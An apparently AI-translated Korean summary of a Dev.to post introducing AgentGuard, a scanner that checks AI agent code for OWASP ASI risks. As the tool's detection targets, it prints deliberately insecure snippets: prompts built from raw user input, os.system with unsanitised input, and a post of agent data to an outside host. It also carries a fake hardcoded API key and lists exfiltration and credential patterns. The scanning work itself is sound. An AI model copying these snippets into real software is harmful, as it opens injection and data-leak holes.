본문으로 건너뛰기

© 2026 Molayo

Dev.to헤드라인2026. 06. 29. 07:59

AgentGuard: AI 에이전트 코드를 위한 오픈 소스 보안 스캐닝

요약

AgentGuard는 AI 에이전트 코드의 보안 취약점을 탐지하기 위한 오픈 소스 정적 분석 도구입니다. OWASP ASI Top 10을 기반으로 프롬프트 인젝션, 도구 오용, 데이터 유출 등 에이전트 특화 보안 위협을 스캔합니다.

핵심 포인트

  • OWASP ASI Top 10 카테고리를 모두 지원하는 정적 분석 도구
  • 프롬프트 인젝션 및 사용자 입력 기반의 도구 오용 탐지
  • 데이터 유출 및 하드코딩된 자격 증명 노출 방지
  • pip를 통한 간편한 설치 및 CLI 기반 스캔 지원

문제점

AI 에이전트가 고객 지원, 코드 생성, 데이터 분석 및 자율 워크플로우 등 다양한 분야에서 대규모로 배포되고 있습니다. 하지만 이러한 에이전트를 구동하는 코드는 보안 감사 (security-audited)를 받는 경우가 거의 없습니다.

실제 운영 중인 에이전트 코드베이스에서 흔히 볼 수 있는 다음 패턴을 고려해 보십시오:

user_input = request.json()["prompt"]
prompt = f"You are a helpful assistant. {user_input}"
response = openai.chat.completions.create(
...

이것은 프롬프트 인젝션 (prompt injection) 취약점입니다. 사용자가 시스템 프롬프트를 무시하고 에이전트의 동작을 조작할 수 있습니다. 이는 SQL 인젝션 (SQL injection)의 AI 버전이며, 어디에나 존재합니다.

OWASP ASI Top 10

OWASP Agentic Security Initiative는 AI 에이전트 시스템에 특화된 위험 요소 Top 10 목록을 발표했습니다:

ID위험 요소
ASI01프롬프트 인젝션 (Prompt Injection)
...

이 중 대부분은 전통적인 SAST (정적 분석 보안 테스트) 도구에서 다루지 못합니다. Semgrep과 CodeQL은 LLM (대규모 언어 모델)이 없는 세상을 위해 만들어졌습니다.

AgentGuard

AgentGuard는 10가지 OWASP ASI 카테고리 모두를 스캔하는 오픈 소스 정적 분석 (static analysis) 도구입니다.

설치

pip install dfx-agentguard

사용법

# 현재 디렉토리 스캔
agentguard .

...

탐지 항목

프롬프트 인젝션 (Prompt Injection, ASI01) — f-string 프롬프트 구성, 사용자 입력과의 문자열 연결 (string concatenation), 시스템 프롬프트 오버라이드 (overrides).

# 취약함
prompt = f"You are a helpful assistant. {user_input}"

...

도구 오용 (Tool Abuse, ASI02) — 사용자 입력이 포함된 os.system(), subprocess, 에이전트 도구 함수 내의 eval()/exec().

# 취약함
def run_command(query):
    return os.system(f"echo {query}")
...

데이터 유출 (Data Exfiltration, ASI03) — 외부 URL로의 requests.post() 호출, fetch() 호출, 웹훅 (webhook) 설정, DNS 기반 유출 패턴, subprocess를 통한 curl/wget 호출.

# 취약함
requests.post("https://analytics-server.com/collect", json=agent_data)

...

자격 증명 노출 (Credential Exposure, ASI07) — 하드코딩된 API 키 (sk-proj-*, AKIA*, ghp_*), 개인 키 (private keys), 비밀번호가 포함된 연결 문자열 (connection strings), 지갑 시드 구문 (wallet seed phrases), Slack 토큰, Google API 키.

# 취약함 (Vulnerable)
OPENAI_API_KEY = "sk-proj-Tq8m2X4vN7bR1wK9pL3hY6jD5cF0aZ8s"

...

추가 항목: 과도한 권한 (Excessive Agency, ASI04), 공급망 (Supply Chain, ASI05), 안전하지 않은 출력 처리 (Insecure Output Handling, ASI06), 컨텍스트 조작 (Context Manipulation, ASI08), 에이전트 루프 악용 (Agent Loop Exploitation, ASI09), 신뢰 경계 위반 (Trust Boundary Violations, ASI10).

통합 옵션 (Integration Options)

CLI

agentguard . --format text
agentguard . --format json --exit-code
agentguard . --format sarif

Pre-commit Hook

# .pre-commit-config.yaml
repos:
  - repo: https://github.com/dockfixlabs/agentguard
...

GitHub Action

# .github/workflows/security.yml
name: Agent Security Scan
on: [pull_request]
...

MCP 서버 모드 (MCP Server Mode)

AgentGuard는 Model Context Protocol (MCP) 서버로 실행될 수 있어, AI 코딩 어시스턴트 (Claude Code, Cursor)가 실시간으로 코드를 스캔할 수 있도록 합니다:

agentguard --mcp

VS Code 확장 프로그램 (VS Code Extension)

인라인 진단 (Inline diagnostics), 저장 시 스캔 (scan-on-save), 그리고 결과 트리 뷰 (findings tree view)를 제공합니다. 릴리스 페이지에서 VSIX 파일로 사용할 수 있습니다.

벤치마크 스위트 (Benchmark Suite)

AgentGuard Benchmark는 5가지 OWASP ASI 카테고리에 걸친 28개의 취약한 코드 샘플과 오탐 (false-positive) 테스트를 위한 클린 코드를 제공합니다.

git clone https://github.com/dockfixlabs/agentguard-benchmark
cd agentguard-benchmark
python benchmark.py

로드맵 (Roadmap)

  • 의미론적 분석 (Semantic analysis) — 정규 표현식 (regex) 패턴을 넘어선 AST 기반 탐지
  • 다국어 지원 (Multi-language support) — Rust, Go, Java, Ruby
  • GitHub Code Scanning 통합 — 네이티브 SARIF 업로드
  • MCP 스캐너 — 악성 도구에 대한 MCP 서버 설정 감사
  • 실시간 IDE 피드백 — 더 깊은 수준의 VS Code 통합

전체 로드맵은 GitHub에서 확인할 수 있습니다.

프로젝트 구조 (Project Structure)

저장소 (Repository)설명 (Description)
agentguard핵심 스캐너 (Core scanner) + CLI + MCP 서버 (MCP server)
...

시작하기 (Getting Started)

pip install dfx-agentguard
agentguard . --format text

이 프로젝트가 유용하다고 생각하신다면, GitHub에서 저장소에 별(star)을 눌러주세요. 기여(Contributions)는 언제나 환영합니다 — CONTRIBUTING.md를 참조하세요.

AgentGuard는 MIT 라이선스(MIT-licensed)를 따르며 Dockfix Labs에서 제작되었습니다.

AI 자동 생성 콘텐츠

본 콘텐츠는 Dev.to AI tag의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.

원문 바로가기
0

댓글

0